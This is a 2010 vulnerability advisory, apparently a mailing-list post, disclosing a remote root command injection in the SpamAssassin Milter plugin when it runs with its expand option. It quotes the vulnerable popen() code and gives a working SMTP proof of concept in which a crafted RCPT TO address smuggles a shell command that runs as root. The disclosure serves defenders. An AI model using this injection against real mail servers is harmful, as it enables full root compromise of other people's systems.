Spamassassin Milter Plugin Remote Root

[Kingcope <kcope2 () googlemail com>]

Spamassassin Milter Plugin Remote Root Zeroday (BTW zerodays lurk in the
shadows not HERE)
aka the postfix_joker advisory

Logic fuckup?

March 07 2010 // if you read this 10 years later you are definetly
seeking the nice 0days!

Greetz fly out to alex,andi,adize :D
+++ KEEP IT ULTRA PRIV8 +++

Software
+-+-+-+-+
Apache Spamassassin
SpamAssassin is a mail filter which attempts to identify spam using
a variety of mechanisms including text analysis, Bayesian filtering,
DNS blocklists, and collaborative filtering databases.

SpamAssassin is a project of the Apache Software Foundation (ASF).

Postfix
What is Postfix? It is Wietse Venema's mailer that started life at IBM
research as an alternative to the widely-used Sendmail program.
Postfix attempts to be fast, easy to administer, and secure.
The outside has a definite Sendmail-ish flavor, but the inside is
completely different.

Spamassassin Milter
A little plugin for the Sendmail Milter (Mail Filter) library
that pipes all incoming mail (including things received by rmail/UUCP)
through the SpamAssassin, a highly customizable SpamFilter.

Remote Code Execution Vulnerability
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

The Spamassassin Milter Plugin can be tricked into executing any command
as the root user remotely.
If spamass-milter is run with the expand flag (-x option) it runs a
popen() including the attacker supplied 
recipient (RCPT TO).

> From spamass-milter-0.3.1 (-latest) Line 820:

//
// Gets called once for each recipient
//
// stores the first recipient in the spamassassin object and
// stores all addresses and the number thereof (some redundancy)
//

sfsistat
mlfi_envrcpt(SMFICTX* ctx, char** envrcpt)
{
        struct context *sctx = (struct context*)smfi_getpriv(ctx);
        SpamAssassin* assassin = sctx->assassin;
        FILE *p;
#if defined(__FreeBSD__)
        int rv;
#endif

        debug(D_FUNC, "mlfi_envrcpt: enter");

        if (flag_expand)
        {
                /* open a pipe to sendmail so we can do address
expansion */

                char buf[1024];
                char *fmt="%s -bv \"%s\" 2>&1";

#if defined(HAVE_SNPRINTF)
                snprintf(buf, sizeof(buf)-1, fmt, SENDMAIL, envrcpt[0]);
#else
                /* XXX possible buffer overflow here // is this a
joke ?! */
                sprintf(buf, fmt, SENDMAIL, envrcpt[0]);
#endif

                debug(D_RCPT, "calling %s", buf);

#if defined(__FreeBSD__) /* popen bug - see PR bin/50770 */
                rv = pthread_mutex_lock(&popen_mutex);
                if (rv)
                {
                        debug(D_ALWAYS, "Could not lock popen mutex: %
s", strerror(rv));
                        abort();
                }
#endif

                p = popen(buf, "r");                            [1]
                if (!p)
                {
                        debug(D_RCPT, "popen failed(%s).  Will not
expand aliases", strerror(errno));
                        assassin->expandedrcpt.push_back(envrcpt[0]);


[1] the vulnerable popen() call.

Remote Root Exploit PoC through postfix
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

$ nc localhost 25
220 ownthabox ESMTP Postfix (Ubuntu)
mail from: me () me com
250 2.1.0 Ok
rcpt to: root+:"|touch /tmp/foo"
250 2.1.5 Ok

$ ls -la /tmp/foo
-rw-r--r-- 1 root root 0 2010-03-07 19:46 /tmp/foo

Signed,

Kingcope

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